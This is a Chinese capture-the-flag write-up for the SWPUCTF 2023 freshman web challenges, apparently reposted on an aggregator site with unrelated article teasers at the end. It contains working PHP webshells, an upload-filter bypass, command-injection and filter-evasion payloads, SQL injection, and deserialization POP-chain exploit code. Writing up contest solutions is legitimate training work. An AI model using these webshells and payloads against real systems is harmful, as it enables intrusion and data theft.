[SWPUCTF 2023 秋季新生赛] web题解

文章目录

    • colorful_snake
    • NSS_HTTP_CHEKER
    • 一键连接!
    • ez_talk
    • Pingpingping
    • UnS3rialize
    • 查查need
    • If_else
    • RCE-PLUS
    • backup


colorful_snake

打开题目,查看js源码
直接搜flag
在这里插入图片描述把那三行代码复制到控制器,得到flag

在这里插入图片描述

NSS_HTTP_CHEKER

都是http请求基本知识
抓包按照要求来,得到flag

在这里插入图片描述

一键连接!

源码

<?php
highlight_file(__FILE__);
error_reporting(0);
$md5_1 = $_GET['md5_1'];
$md5_2 = $_GET['md5_2'];
$sha1_1 = $_GET['sha1_1'];
$sha1_2 = $_GET['sha1_2'];
$new_player =$_GET['new_player'];
if ($md5_1 !== $md5_2 && md5($md5_1) === md5($md5_2)) {if ($sha1_1 != $sha1_2 && sha1($sha1_1) === sha1($sha1_2)) {if (file_get_contents($new_player) === "Welcome to NSSCTF!!!") {echo "Congratulations~~~~~~~~~";echo "试试need Antsword<br/>";@eval($_POST['Nss']);}else{echo "可曾听过data协议?";}} else {echo "sha1又如何相等呢";}
} else {echo "如何让md5值相等呢¿";
}

分析一下,MD5和sha1都可以用数组绕过,然后用php伪协议中的data协议
在这里插入图片描述
提示蚁剑连接
在这里插入图片描述
得到flag
在这里插入图片描述

ez_talk

打开题目,先试试普通一句话木马,发现被检测
尝试bp抓包修改MIME,还是不行
这里修改下一句话木马,添加一下文件头

GIF89a
<?php eval($_POST['shell']);?>

成功上传
在这里插入图片描述
得到flag
在这里插入图片描述

Pingpingping

源码

<?php
highlight_file(__FILE__);
error_reporting(0);
$_ping = $_GET['Ping_ip.exe'];
if(isset($_ping)){system("ping -c 3 ".$_ping);
}else{$data = base64_encode(file_get_contents("error.png"));echo "<img src='data:image/png;base64,$data'/>";
}

分析一下,首先是参数名利用php解析特性;然后就是简单的ping命令加命令执行

?Ping[ip.exe=127.0.0.1;cat /flag

得到flag
在这里插入图片描述

UnS3rialize

考点: __wakeup绕过之fast-destruct

源码

 <?php
highlight_file(__FILE__);
error_reporting(0);
class NSS
{public $cmd;function __invoke(){echo "Congratulations!!!You have learned to construct a POP chain<br/>";system($this->cmd);}function __wakeup(){echo "W4keup!!!<br/>";$this->cmd = "echo Welcome to NSSCTF";}
}class C
{public $whoami;function __get($argv){echo "what do you want?";$want = $this->whoami;return $want();}
}class T
{public $sth;function __toString(){echo "Now you know how to use __toString<br/>There is more than one way to trigger";return $this->sth->var;}
}class F
{public $user = "nss";public $passwd = "ctf";public $notes;function __construct($user, $passwd){$this->user = $user;$this->passwd = $passwd;}function __destruct(){if ($this->user === "SWPU" && $this->passwd === "NSS") {echo "Now you know how to use __construct<br/>";echo "your notes".$this->notes;}else{die("N0!");}}
}if (isset($_GET['ser'])) {$ser = unserialize(base64_decode($_GET['ser']));
} else {echo "Let's do some deserialization :)";
}
Let's do some deserialization :)

分析一下

  1. 从后往前推,出口是NSS.__invoke()的命令执行
  2. 调用此方法往前推到C.__get()
  3. 然后就是访问不存在属性,往前推到T.__toString()
  4. 再往前推到F.__destruct()
  5. pop链梳理完再看看wakeup的绕过,用的fast-destruct,直接在序列化完的数据后去掉一个花括号(其本质上就是利用GC回收机制),然后再编码

pop链

F.__destruct() --> T.__toString() --> C.__get() --> NSS.__invoke()

exp

<?php
highlight_file(__FILE__);
class NSS
{public $cmd='cat /flag';
} 
class T
{public $sth;
}class C
{public $whoami;
} 
class F
{public $user = "nss";public $passwd = "ctf";public $notes;
}$a=new F();
$b=new T();
$c=new C();
$d=new NSS();
$a->user='SWPU';
$a->passwd='NSS';
$a->notes=$b;
$b->sth=$c;
$c->whoami=$d;
$remove=substr(serialize($a), 0, -1); //去掉最后一个花括号
echo base64_encode($remove);

得到flag
在这里插入图片描述

查查need

考点:sql注入万能密码,bp爆破攻击

打开题目,发现给了excel表格用来查询成绩
F12看到提示用万能密码
在这里插入图片描述目前为止,还不知道注入的位置
我们可以bp抓包,依次再三个参数fuzz测试(在页面处输入不了",所以用抓包的方式来回显)
发现在学号处存在注入点,且闭合方式为双引号
在这里插入图片描述
结合学生表和万能密码
随便输入一个学生名字,发现有回显
在这里插入图片描述尝试用联合查询,发现走不通
考虑到学生表,猜测flag应该藏在某位同学的成绩那
把表中学生名字全部复制到txt里,然后添加该payload(bp上显示乱码不管它)
爆破得到flag
在这里插入图片描述

If_else

源码

 <?php$a=false;$b=false;if(你提交的部分将会被写至这里){$a=true;}else{$b=true;}if($a===true&&$b===true)eval(system(cat /flag));
?> 

自己写代码进去,先闭合前面,然后命令执行,在最后面加注释符
payload

?check=1==1) echo `cat /f*`;/*

不难发现黄色部分都被注释掉了,因此命令执行得到flag
在这里插入图片描述

RCE-PLUS

考点:无回显RCE

源码

 <?php
error_reporting(0);
highlight_file(__FILE__);
function strCheck($cmd)
{if(!preg_match("/\;|\&|\\$|\x09|\x26|more|less|head|sort|tail|sed|cut|awk|strings|od|php|ping|flag/i", $cmd)){return($cmd);}else{die("i hate this");      }
}
$cmd=$_GET['cmd'];
strCheck($cmd);
shell_exec($cmd);
?>

shell_exec()函数哪怕执行了命令也是没有回显的
我们输入下面命令测试下

?cmd=ls / | sleep 5

我们会发现执行了,但是并没有回显
这里可以利用tee命令把执行的结果打印下来
payload

?cmd=ls / | tee 1.txt

或者是重定向

?cmd=ls / > 1.txt

然后访问./1.txt
在这里插入图片描述
然后反斜杠绕过一下关键字

?cmd=ca\t /fl\ag | tee 2.txt

得到flag

backup

考点:源码泄露,变量引用绕过__wakeup,php变量覆盖

提示说给了备份文件,直接御剑扫一下
在这里插入图片描述发现有www.zip,访问下载下来
源码

<?php
error_reporting(0);
require_once("flag.php");class popmart{public $yuki;public $molly;public $dimoo;public function __construct(){$this->yuki='tell me where';$this->molly='dont_tell_you';$this->dimoo="you_can_guess";}public function __wakeup(){global $flag;global $where_you_go;$this->yuki=$where_you_go;if($this->molly === $this->yuki){echo $flag;}}
}$pucky = $_GET['wq'];
if(isset($pucky)){if($pucky==="二仙桥"){  extract($_POST);if($pucky==="二仙桥"){    die("<script>window.alert('说说看,你要去哪??');</script>");}unserialize($pucky);}
}

反序列化非常简单,if语句要求$this->molly === $this->yuki强等于,但是__wakeup方法会赋值,所以采取引用绕过的方式,exp如下

<?php
class popmart{public $yuki;public $molly;public $dimoo;
}$a=new popmart();
$a->molly=&$a->yuki;
echo serialize($a);

然后就是上传的时候有两个if语句,第一个成立,第二个不成立。由于GET和POST传同一个参数没有先后顺序,所以不能用下面的方式去实现变量覆盖

GET:?wq=二仙桥
POST:wq=O:7:"popmart":3:{s:4:"yuki";N;s:5:"molly";R:2;s:5:"dimoo";N;}

我们可以修改下POST参数为pucky即可
得到flag
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/168169.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【保姆级教程】:docker搭建MongoDB三节点副本集

容器可以理解为一个进程&#xff0c;镜像是把环境&#xff0c;组件等都配置好&#xff0c;运行成容器的&#xff0c;容器里面运行服务&#xff0c;也可以说是一个进程。镜像是模板&#xff0c;镜像是实例。 一个镜像可以创建多个实例。也就是多个容器&#xff0c;容器之间相互…

驱动作业10.23

现象 test.c #include <stdlib.h> #include <stdio.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/ioctl.h> #include <fcntl.h> #include <unistd.h> #include <string.h> #include "head.h"in…

TCP/IP(二十)TCP 实战抓包分析(四)TCP 第二次握手 SYN、ACK 丢包

一 实验二&#xff1a;TCP 第二次握手 SYN、ACK 丢包 重点&#xff1a; 通过设置 tcp_synack_retries 和 tcp_syn_retries内核参数,观察丢包的现象 ① 实验环境 iptables -t filter -I INPUT -s 172.25.2.100 -j DROPtcpdump -nni ens3 tcp and host 172.25.2.100 and por…

蛇口街道小区长者服务示范点 ——在家门口“乐享晚年”

2023年9月28日&#xff0c;深圳市南山区蛇口街道创建健康街道行动之“老年肌少症免费筛查”项目走进了海昌社区&#xff0c;为数十位长者开展了系统筛查。在家门口就能够享受到由蛇口医院康复科医生提供的专业服务&#xff0c;这对于小区的老人们来说还是第一次。自今年7月以来…

python之代理ip的配置与调试方法详解

代理IP在Python中是一种强大的工具&#xff0c;它可以用于隐藏真实IP地址、绕过访问限制、提高数据爬取和网络请求的效率等。下面将详细介绍Python中代理IP的配置与调试方法&#xff0c;帮助您更好地理解和应用代理IP。 1. 选择合适的代理IP 在使用代理IP之前&#xff0c;需要…

自然语言处理---Transformer构建语言模型

语言模型概述 以一个符合语言规律的序列为输入&#xff0c;模型将利用序列间关系等特征&#xff0c;输出一个在所有词汇上的概率分布&#xff0c;这样的模型称为语言模型。 # 语言模型的训练语料一般来自于文章&#xff0c;对应的源文本和目标文本形如: src1 "I can do&…

硬件服务器更换IPMI

重启按F2进入Biso界面 然后进入Server Management界面&#xff0c;选择BMC LAN Configuration

excel怎么固定前几行前几列不滚动?

在Excel中&#xff0c;如果你想固定前几行或前几列不滚动&#xff0c;可以通过以下几种方法来实现。详细的介绍如下&#xff1a; **固定前几行不滚动&#xff1a;** 1. 选择需要固定的行数。例如&#xff0c;如果你想要固定前3行&#xff0c;应该选中第4行的单元格。 2. 在E…

Markdown语法详解

文章目录 [toc] 一、简介二、样式1. 标题2. 字体3. 引用4. 分割线5. 图片6. 超链接7. 列表8. 表格9. 代码 一、简介 以前写学习文档常用的软件都是Word或者CSDN自带的编辑器&#xff0c;但Word用起来不太灵活&#xff0c;而CSDN自带编辑器又感觉逼格不够&#xff08;主要原因&…

c语言练习91:合并两个有序链表

合并两个有序链表 力扣&#xff08;LeetCode&#xff09;官网 - 全球极客挚爱的技术成长平台 代码1&#xff1a; /*** Definition for singly-linked list.* struct ListNode {* int val;* struct ListNode *next;* };*/typedef struct ListNode ListNode; struct Li…

AD9371 官方例程HDL详解之JESD204B TX侧时钟生成 (一)

AD9371 系列快速入口 AD9371ZCU102 移植到 ZCU106 &#xff1a; AD9371 官方例程构建及单音信号收发 ad9371_tx_jesd -->util_ad9371_xcvr接口映射&#xff1a; AD9371 官方例程之 tx_jesd 与 xcvr接口映射 参考资料&#xff1a; UltraScale Architecture GTH Transceive…

驱动开发LED灯绑定设备文件

头文件 #ifndef __HEAD_H__ #define __HEAD_H__typedef struct {unsigned int MODER;unsigned int OTYPER;unsigned int OSPEEDR;unsigned int PUPDR;unsigned int IDR;unsigned int ODR; }gpio_t;#define PHY_LED1_ADDR 0x50006000 #define PHY_LED2_ADDR 0x50007000 #defin…

【Java集合类面试六】、 HashMap有什么特点?

文章底部有个人公众号&#xff1a;热爱技术的小郑。主要分享开发知识、学习资料、毕业设计指导等。有兴趣的可以关注一下。为何分享&#xff1f; 踩过的坑没必要让别人在再踩&#xff0c;自己复盘也能加深记忆。利己利人、所谓双赢。 面试官&#xff1a;HashMap有什么特点&…

ONEPIECE!程序环境和预处理——C语言最终章

时间过得飞快呀&#xff0c;从第一篇blog到现在&#xff0c;已经有三四个月的时间了&#xff0c;而我们终于也迎来了C语言的最终章——程序环境和预处理&#xff01;加油吧朋友们&#xff0c;ONEPIECE就在眼前~ 目录 一、程序的"翻译环境"和"运行环境" 二…

VUE到底有什么好处?

网上有许多前端开发框架的对比&#xff0c;相对的&#xff0c;VUE在综合评分方面还是优秀的。以下是一些State of JavaScript调查数据结果&#xff1a; 使用率&#xff1a;VUE使用者在调研开发者中占比 51%&#xff1b; 开发者满意度&#xff1a;VUE的综合开发者满意度达到64%…

springcloud笔记 (8) -网关 Gateway

网关 出国需要过海关 网关&#xff1a;网络的关卡 网关的作用 1&#xff1a;路由转发 2&#xff1a;安全控制 保护每个服务&#xff0c;不需要将每个暴露出去 3&#xff1a;负载均衡 1.没有网关&#xff1a;客户端直接访问我们的微服务&#xff0c;会需要在客户端配置很多…

ZooKeeper下载、安装、配置和使用

天行健&#xff0c;君子以自强不息&#xff1b;地势坤&#xff0c;君子以厚德载物。 每个人都有惰性&#xff0c;但不断学习是好好生活的根本&#xff0c;共勉&#xff01; 文章均为学习整理笔记&#xff0c;分享记录为主&#xff0c;如有错误请指正&#xff0c;共同学习进步。…

用“价值”的视角来看安全:《构建新型网络形态下的网络空间安全体系》

文章目录 写在前面安全认知的硬核概念威胁的演化路径与发展趋势构建网络空间安全体系好书推荐 写作末尾 写在前面 网络空间安全体系是建立在先进技术、严密监控和综合策略之上的综合性框架&#xff0c;旨在保护网络免受恶意攻击、数据泄露和网络犯罪的威胁&#xff0c;其核心包…

window11安装Python环境

python环境安装 访问Python官网:https://www.python.org/ 点击downloads按钮&#xff0c;在下拉框中选择系统类型(windows/Mac OS/Linux等) 选择下载最新版本的Python cmd命令如果出现版本号以及>>>则表示安装成功 如果出现命令行中输入python出现如下错误 可能…

现在大火的低代码是怎么回事?进来聊聊低代码

一、前言 开发过程中&#xff0c;只是觉得前端后端合起来&#xff0c;有很多冗余信息&#xff0c;被代码一遍遍重复表达&#xff0c;是一件很枯燥、无聊的事情。 这些枯燥的重复工作&#xff0c;完全可以由机器来做&#xff0c;以便解放出我们的时间&#xff0c;来做更有价值的…